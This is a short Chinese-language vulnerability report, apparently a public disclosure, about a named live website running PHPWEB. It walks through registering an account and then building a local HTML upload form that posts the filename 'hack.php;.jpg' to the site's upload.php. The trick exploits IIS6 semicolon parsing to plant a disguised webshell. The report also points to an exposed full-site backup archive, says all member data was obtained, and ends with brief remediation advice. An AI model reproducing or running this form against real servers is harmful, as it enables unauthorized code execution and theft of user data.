目标:
http://jzcs.51web.com/

先注册个用户..

进入互助问答
http://jzcs.51web.com/maq/class/

下面有上传啊 哈.

直接本地构造个表单 可以使上传文件任意名(后缀必须是jpg什么的).,利用IIS6解析就行了..这是PHPWEB的一个0day啦 很多人都知道..

<form name="uploadForm" method="post" enctype="multipart/form-data" action="http://jzcs.51web.com/maq/upload.php">
<input type="text" name="fileName" value="hack.php;.jpg" />
<input type="hidden" name="attachPath" value="news/pics/" />
<input type="file" name="fileData" size="14" /></td>
<input type="submit" name="button" value="FUCK" />
</form>

本地打开 直接上传个伪图片马马

提交表单后就能看见可爱的马马地址了..

http://jzcs.51web.com/wwwroot.rar 不解释...
 


 

神马会员都有了.嘻嘻

修复方案：

1:删除根目录的网站备份文件
2:PHPWEB漏洞N多 建议把站都换了.别用这程序